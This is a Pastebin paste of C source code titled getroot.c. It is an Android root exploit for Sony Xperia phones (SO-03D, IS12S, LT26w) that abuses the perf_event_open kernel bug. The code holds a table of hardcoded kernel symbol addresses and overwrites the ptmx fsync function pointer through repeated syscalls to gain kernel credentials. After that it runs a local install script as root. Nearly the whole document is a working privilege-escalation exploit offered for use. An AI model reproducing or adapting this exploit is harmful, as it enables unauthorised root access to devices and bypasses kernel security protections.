Wirbelwind_IF

備忘録)getroot.c

Jul 15th, 2013
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 7.01 KB | None | 0 0
  1. /* getroot for SO-01E 9.1.C.0.473 */
  2.  
  3. /*
  4.  * Copyright (C) 2013 CUBE
  5.  *
  6.  * This program is free software: you can redistribute it and/or modify
  7.  * it under the terms of the GNU General Public License as published by
  8.  * the Free Software Foundation, either version 3 of the License, or
  9.  * (at your option) any later version.
  10.  *
  11.  * This program is distributed in the hope that it will be useful,
  12.  * but WITHOUT ANY WARRANTY; without even the implied warranty of
  13.  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  14.  * GNU General Public License for more details.
  15.  *
  16.  * You should have received a copy of the GNU General Public License
  17.  * along with this program.  If not, see <http://www.gnu.org/licenses/>.
  18.  *
  19.  */
  20.  
  21. #include <stdint.h>
  22. #include <stdbool.h>
  23. #include <stdio.h>
  24. #include <stdlib.h>
  25. #include <string.h>
  26. #include <errno.h>
  27. #define _LARGEFILE64_SOURCE
  28. #include <sys/types.h>
  29. #include <unistd.h>
  30. #include <sys/stat.h>
  31. #include <fcntl.h>
  32. #include <sys/syscall.h>
  33. #include <signal.h>
  34. #include <sys/wait.h>
  35.  
  36. #define PTMX_DEVICE "/dev/ptmx"
  37. #define PERF_SWEVENT_MAX_FILE 980
  38.  
  39. #ifndef __NR_perf_event_open
  40. #define __NR_perf_event_open (__NR_SYSCALL_BASE + 364)
  41. #endif
  42.  
  43. #define MIN(x, y) (((x) < (y)) ? (x) : (y))
  44. #define BUFFER_SIZE 5
  45.  
  46. typedef struct _supported_device {
  47.     const char *device;
  48.     const char *build_id;
  49.     void *prepare_kernel_cred;
  50.     void *commit_creds;
  51.     void *remap_pfn_range;
  52.     unsigned long int perf_swevent_enabled;
  53.     unsigned long int ptmx_fops;
  54. } supported_device;
  55.  
  56. supported_device supported_devices[] = {
  57.     { "SO-03D","6.1.F.0.106",(void *)0xc01b6a40,(void *)0xc01b6348,(void *)0xc02259c4,0xc0c90228,0xc0c9b700 },
  58.     { "IS12S", "6.1.D.1.74", (void *)0xc01b6a40,(void *)0xc01b6348,(void *)0xc02259c4,0xc0c902e8,0xc0c9b7b0 },
  59.     { "LT26w", "6.2.B.0.200",(void *)0xc00b261c,(void *)0xc00b2140,(void *)0xc0136294,0xc0cafa74,0xc0cc3dc0 },
  60.     { "LT26w", "6.2.B.0.211",(void *)0xc00b262c,(void *)0xc00b2150,(void *)0xc01362a4,0xc0cafa74,0xc0cc3dc0 }
  61.  
  62. };
  63.  
  64. typedef struct {
  65.     unsigned long pgprot;
  66. } pgprot_t;
  67.  
  68. struct vm_area_struct {
  69.     void *vm_mm;
  70.     unsigned long vm_start, vm_end;
  71.     void *vm_next, *vm_prev;
  72.     pgprot_t vm_page_prot;
  73.     /* ... */
  74. };
  75.  
  76. struct cred;
  77. struct task_struct;
  78.  
  79. struct cred *(*prepare_kernel_cred)(struct task_struct *);
  80. int (*commit_creds)(struct cred *);
  81. int (*remap_pfn_range)(struct vm_area_struct *, unsigned long addr, unsigned long pfn, unsigned long size, pgprot_t);
  82.  
  83. static pid_t *child_process;
  84. static int current_process_number;
  85. static int st_pos;
  86. static int n_supported_devices = sizeof(supported_devices) / sizeof(supported_devices[0]);
  87.  
  88. enum {
  89.     READ_END,
  90.     WRITE_END
  91. };
  92.  
  93. void obtain_root_privilege(void) {
  94.     commit_creds(prepare_kernel_cred(0));
  95. }
  96.  
  97. static bool run_obtain_root_privilege(void *user_data) {
  98.     int fd;
  99.  
  100.     fd = open(PTMX_DEVICE, O_WRONLY);
  101.     fsync(fd);
  102.     close(fd);
  103.  
  104.     return true;
  105. }
  106.  
  107. static pid_t prepare_pipes(int *read_fd) {
  108.     pid_t pid;
  109.     int stdout_pipe[2];
  110.  
  111.     if (pipe(stdout_pipe) < 0) {
  112.         return -1;
  113.     }
  114.  
  115.     pid = fork();
  116.     if (pid == -1) {
  117.         return -1;
  118.     } else if (pid == 0) {
  119.         close(stdout_pipe[READ_END]);
  120.         dup2(stdout_pipe[WRITE_END], STDOUT_FILENO);
  121.         if (stdout_pipe[WRITE_END] >= 3) {
  122.             close(stdout_pipe[WRITE_END]);
  123.         }
  124.     } else {
  125.         close(stdout_pipe[WRITE_END]);
  126.         *read_fd = stdout_pipe[READ_END];
  127.     }
  128.  
  129.     return pid;
  130. }
  131.  
  132. static bool syscall_perf_event_open(uint32_t offset) {
  133.     uint64_t buf[10] = {0x4800000001, offset, 0, 0, 0, 0x300};
  134.     int fd;
  135.  
  136.     fd = syscall(__NR_perf_event_open, buf, 0, -1, -1, 0);
  137.     if (fd < 0) {
  138.         fprintf(stderr, "Error %s\n", strerror(errno));
  139.     }
  140.  
  141.     return (fd > 0);
  142. }
  143.  
  144. static pid_t increment_address_value_in_child_process(unsigned long int address, int count, int *child_fd) {
  145.     unsigned long int perf_swevent_enabled;
  146.     int offset;
  147.     int i = 0;
  148.     pid_t pid;
  149.  
  150.     perf_swevent_enabled = supported_devices[st_pos].perf_swevent_enabled;
  151.     offset = (int)(address - perf_swevent_enabled) / 4;
  152.     offset |= 0x80000000;
  153.  
  154.     pid = prepare_pipes(child_fd);
  155.     if (pid == 0) {
  156.         for (i = 0; i < count; i++) {
  157.             syscall_perf_event_open(offset);
  158.         }
  159.         printf("Done.\n");
  160.     }
  161.  
  162.     return pid;
  163. }
  164.  
  165. int perf_event_write_value_at_address(unsigned long int address, int value) {
  166.     int number_of_children;
  167.  
  168.     printf("Writing address is %x\n", value);
  169.  
  170.     current_process_number = 0;
  171.     number_of_children = value / PERF_SWEVENT_MAX_FILE + 1;
  172.     child_process = (pid_t *)malloc(number_of_children * sizeof(pid_t));
  173.  
  174.     while (value > 0) {
  175.         char buffer[BUFFER_SIZE];
  176.         int child_fd;
  177.         int min = MIN(value, PERF_SWEVENT_MAX_FILE);
  178.         pid_t pid = increment_address_value_in_child_process(address, min, &child_fd);
  179.         if (pid <= 0) {
  180.             return (int)pid;
  181.         }
  182.         read(child_fd, buffer, sizeof(buffer));
  183.         close(child_fd);
  184.         child_process[current_process_number] = pid;
  185.         current_process_number++;
  186.         value -= PERF_SWEVENT_MAX_FILE;
  187.     }
  188.     return current_process_number;
  189. }
  190.  
  191. void perf_event_reap_child_process(int number) {
  192.     int i;
  193.  
  194.     for (i = 0; i < number; i++) {
  195.         kill(child_process[i], SIGKILL);
  196.     }
  197.  
  198.     sleep(1);
  199.  
  200.     for (i = 0; i < number; i++) {
  201.         int status;
  202.         waitpid(child_process[i], &status, WNOHANG);
  203.     }
  204.  
  205.     free(child_process);
  206. }
  207.  
  208. bool perf_swevent_run_exploit(unsigned long int address, int value, bool (*exploit_callback)(void *user_data), void *user_data) {
  209.     int number_of_children;
  210.     bool success;
  211.  
  212.     number_of_children = perf_event_write_value_at_address(address, value);
  213.     if (number_of_children < 0) {
  214.         return false;
  215.     }
  216.     if (number_of_children == 0) {
  217.         while (true) {
  218.             sleep(1);
  219.         }
  220.     }
  221.  
  222.     success = exploit_callback(user_data);
  223.  
  224.     perf_event_reap_child_process(number_of_children);
  225.  
  226.     return success;
  227. }
  228.  
  229. static bool run_exploit(void) {
  230.     unsigned long int ptmx_fops_address;
  231.     unsigned long int ptmx_fsync_address;
  232.  
  233.     ptmx_fops_address = supported_devices[st_pos].ptmx_fops;
  234.     ptmx_fsync_address = ptmx_fops_address + 0x38;
  235.     return perf_swevent_run_exploit(ptmx_fsync_address, (int)&obtain_root_privilege, run_obtain_root_privilege, NULL);
  236. }
  237.  
  238. static bool detect_injection_addresses(void)
  239. {
  240.   int i;
  241.   char device[255];
  242.   char build_id[255];
  243.  
  244.   __system_property_get("ro.product.model", device);
  245.   __system_property_get("ro.build.display.id", build_id);
  246.  
  247.   for (i = 0; i < n_supported_devices; i++) {
  248.     if (!strcmp(device, supported_devices[i].device) &&
  249.         !strcmp(build_id, supported_devices[i].build_id)) {
  250.         st_pos = i;
  251.         return true;
  252.     }
  253.   }
  254.   printf("%s (%s) is not supported.\n", device, build_id);
  255.  
  256.   return false;
  257. }
  258.  
  259. int main(int argc, char **argv) {
  260.     if ( detect_injection_addresses()==false){
  261.         return -1;
  262.     }
  263.     prepare_kernel_cred = supported_devices[st_pos].prepare_kernel_cred;
  264.     commit_creds = supported_devices[st_pos].commit_creds;
  265.     remap_pfn_range = supported_devices[st_pos].remap_pfn_range;
  266.  
  267.     printf("Wait a minutes...\n");
  268.     run_exploit();
  269.  
  270.     if (getuid() != 0) {
  271.         printf("Failed to getroot.\n");
  272.         exit(EXIT_FAILURE);
  273.     }
  274.  
  275.     printf("Succeeded in getroot!\n");
  276.     system("/data/local/tmp/install_tool.sh");
  277.     exit(EXIT_SUCCESS);
  278.     return 0;
  279. }
Add Comment
Please, Sign In to add comment